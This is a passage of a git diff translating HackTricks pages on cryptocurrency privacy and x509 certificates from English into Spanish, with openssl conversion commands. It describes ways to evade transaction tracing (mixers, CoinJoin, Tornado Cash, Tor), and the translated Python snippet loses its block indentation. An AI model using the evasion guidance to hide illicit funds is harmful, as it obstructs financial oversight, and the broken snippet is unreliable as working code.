remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Referencias - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..70b97c886 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## Conceptos Básicos -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios. +- **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un back-end transparente y auditable. +- **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos. +- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos. +- **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales. +- **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizadas y Organizaciones Autónomas Descentralizadas, respectivamente. -## Consensus Mechanisms +## Mecanismos de Consenso -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones. +- **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW. -## Bitcoin Essentials +## Esenciales de Bitcoin -### Transactions +### Transacciones -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias. -#### Key Components: +#### Componentes Clave: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción. +- Las transacciones constan de **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de transacción). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain. -## Bitcoin Privacy Concerns +## Preocupaciones de Privacidad de Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios. -## Acquiring Bitcoins Anonymously +## Adquiriendo Bitcoins de Manera Anónima -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad. -# Bitcoin Privacy Atacks +# Ataques a la Privacidad de Bitcoin -# Summary of Bitcoin Privacy Attacks +# Resumen de Ataques a la Privacidad de Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin. -## **Common Input Ownership Assumption** +## **Suposición de Propiedad de Entrada Común** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**. -## **UTXO Change Address Detection** +## **Detección de Dirección de Cambio UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad. -### Example +### Ejemplo -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad. -## **Social Networks & Forums Exposure** +## **Exposición en Redes Sociales y Foros** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**. -## **Transaction Graph Analysis** +## **Análisis de Gráficos de Transacciones** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente. +### Ejemplo ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Si agregar más entradas hace que el cambio de salida sea mayor que cualquier entrada individual, puede confundir la heurística. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Reutilización Forzada de Direcciones** -## **Forced Address Reuse** +Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones entre sí. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Comportamiento Correcto de la Billetera -### Correct Wallet Behavior +Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Otras Técnicas de Análisis de Blockchain** -## **Other Blockchain Analysis Techniques** +- **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones propiedad del mismo usuario. +- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio. +- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio. +- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Análisis de Tráfico** -## **Traffic Analysis** +Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Más -## More +Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Transacciones Anónimas de Bitcoin -# Anonymous Bitcoin Transactions +## Formas de Obtener Bitcoins Anónimamente -## Ways to Get Bitcoins Anonymously +- **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo. +- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin. +- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de forma anónima, aunque es ilegal y no se recomienda. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Servicios de Mezcla -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** combina múltiples transacciones de diferentes usuarios en una, complicando el proceso para cualquiera que intente emparejar entradas con salidas. A pesar de su efectividad, las transacciones con tamaños de entrada y salida únicos aún pueden ser potencialmente rastreadas. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Las transacciones de ejemplo que pueden haber utilizado CoinJoin incluyen `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Para más información, visita [CoinJoin](https://coinjoin.io/en). Para un servicio similar en Ethereum, consulta [Tornado Cash](https://tornado.cash), que anonimiza transacciones con fondos de mineros. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Una variante de CoinJoin, **PayJoin** (o P2EP), disfraza la transacción entre dos partes (por ejemplo, un cliente y un comerciante) como una transacción regular, sin las características distintivas de salidas iguales propias de CoinJoin. Esto hace que sea extremadamente difícil de detectar y podría invalidar la heurística de propiedad de entrada común utilizada por las entidades de vigilancia de transacciones. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Transacciones como la anterior podrían ser PayJoin, mejorando la privacidad mientras permanecen indistinguibles de las transacciones estándar de bitcoin. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**La utilización de PayJoin podría interrumpir significativamente los métodos de vigilancia tradicionales**, lo que lo convierte en un desarrollo prometedor en la búsqueda de la privacidad transaccional. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Mejores Prácticas para la Privacidad en Criptomonedas -# Best Practices for Privacy in Cryptocurrencies +## **Técnicas de Sincronización de Monederos** -## **Wallet Synchronization Techniques** +Para mantener la privacidad y la seguridad, es crucial sincronizar los monederos con la blockchain. Dos métodos destacan: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Nodo completo**: Al descargar toda la blockchain, un nodo completo asegura la máxima privacidad. Todas las transacciones realizadas se almacenan localmente, lo que hace imposible que los adversarios identifiquen qué transacciones o direcciones le interesan al usuario. +- **Filtrado de bloques del lado del cliente**: Este método implica crear filtros para cada bloque en la blockchain, permitiendo que los monederos identifiquen transacciones relevantes sin exponer intereses específicos a los observadores de la red. Los monederos ligeros descargan estos filtros, obteniendo bloques completos solo cuando se encuentra una coincidencia con las direcciones del usuario. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Utilizando Tor para la Anonimidad** -## **Utilizing Tor for Anonymity** +Dado que Bitcoin opera en una red peer-to-peer, se recomienda usar Tor para enmascarar tu dirección IP, mejorando la privacidad al interactuar con la red. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Prevención de la Reutilización de Direcciones** -## **Preventing Address Reuse** +Para salvaguardar la privacidad, es vital usar una nueva dirección para cada transacción. Reutilizar direcciones puede comprometer la privacidad al vincular transacciones a la misma entidad. Los monederos modernos desincentivan la reutilización de direcciones a través de su diseño. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Estrategias para la Privacidad de Transacciones** -## **Strategies for Transaction Privacy** +- **Múltiples transacciones**: Dividir un pago en varias transacciones puede oscurecer el monto de la transacción, frustrando ataques a la privacidad. +- **Evitación de cambios**: Optar por transacciones que no requieran salidas de cambio mejora la privacidad al interrumpir los métodos de detección de cambios. +- **Múltiples salidas de cambio**: Si evitar el cambio no es factible, generar múltiples salidas de cambio aún puede mejorar la privacidad. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Un Faro de Anonimato** -# **Monero: A Beacon of Anonymity** +Monero aborda la necesidad de anonimato absoluto en las transacciones digitales, estableciendo un alto estándar para la privacidad. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas y Transacciones** -# **Ethereum: Gas and Transactions** +## **Entendiendo el Gas** -## **Understanding Gas** +El gas mide el esfuerzo computacional necesario para ejecutar operaciones en Ethereum, tasado en **gwei**. Por ejemplo, una transacción que cuesta 2,310,000 gwei (o 0.00231 ETH) implica un límite de gas y una tarifa base, con una propina para incentivar a los mineros. Los usuarios pueden establecer una tarifa máxima para asegurarse de no pagar de más, con el exceso reembolsado. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Ejecutando Transacciones** -## **Executing Transactions** +Las transacciones en Ethereum involucran un remitente y un destinatario, que pueden ser direcciones de usuario o de contrato inteligente. Requieren una tarifa y deben ser minadas. La información esencial en una transacción incluye el destinatario, la firma del remitente, el valor, datos opcionales, límite de gas y tarifas. Notablemente, la dirección del remitente se deduce de la firma, eliminando la necesidad de incluirla en los datos de la transacción. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Estas prácticas y mecanismos son fundamentales para cualquiera que busque participar en criptomonedas mientras prioriza la privacidad y la seguridad. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Referencias - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..26d396dc7 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Certificados {{#include ../banners/hacktricks-training.md}} -
+## Qué es un Certificado -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) en una [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web_of_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280. -## What is a Certificate +## Campos Comunes de x509 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Campos Comunes en Certificados x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos: -## x509 Common Fields +- **Número de Versión** significa la versión del formato x509. +- **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones. +- El **Campo Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como: +- **Nombre Común (CN)**: Dominios cubiertos por el certificado. +- **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos. +- **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto. +- **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA. +- **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha. +- La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública. +- Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Uso de Clave y Extensiones** +- **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como la firma digital o el cifrado de clave. +- **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para la autenticación de servidores TLS. +- **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente. +- Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de Autoridad** aseguran la unicidad y trazabilidad de las claves. +- **Acceso a Información de Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado. +- **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Diferencia entre OCSP y Puntos de Distribución CRL** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRLs pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Qué es la Transparencia de Certificados** -### **What is Certificate Transparency** +La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio. +- Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa. +- Proteger a los usuarios contra certificados fraudulentos. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Registros de Certificados** -#### **Certificate Logs** +Los registros de certificados son registros auditables públicamente, de solo anexado, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Si bien el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Consulta** -#### **Query** +Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh). -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre cómo convertir entre ellos. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **Formatos** -## **Formats** +### **Formato PEM** -### **PEM Format** +- Formato más utilizado para certificados. +- Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII. +- Extensiones comunes: .cer, .crt, .pem, .key. +- Utilizado principalmente por Apache y servidores similares. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **Formato DER** -### **DER Format** +- Un formato binario de certificados. +- Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM. +- Extensiones comunes: .cer, .der. +- A menudo utilizado con plataformas Java. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **Formato P7B/PKCS#7** -### **P7B/PKCS#7 Format** +- Almacenado en Base64 ASCII, con extensiones .p7b o .p7c. +- Contiene solo certificados y certificados de cadena, excluyendo la clave privada. +- Soportado por Microsoft Windows y Java Tomcat. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **Formato PFX/P12/PKCS#12** -### **PFX/P12/PKCS#12 Format** +- Un formato binario que encapsula certificados de servidor, certificados intermedios y claves privadas en un solo archivo. +- Extensiones: .pfx, .p12. +- Principalmente utilizado en Windows para la importación y exportación de certificados. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Conversión de Formatos** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Las conversiones PEM** son esenciales para la compatibilidad: +- **x509 a PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM a DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER a PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM a P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 a PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Las conversiones de PFX** son cruciales para gestionar certificados en Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX a PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX a PKCS#8** implica dos pasos: +1. Convertir PFX a PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Convertir PEM a PKCS8 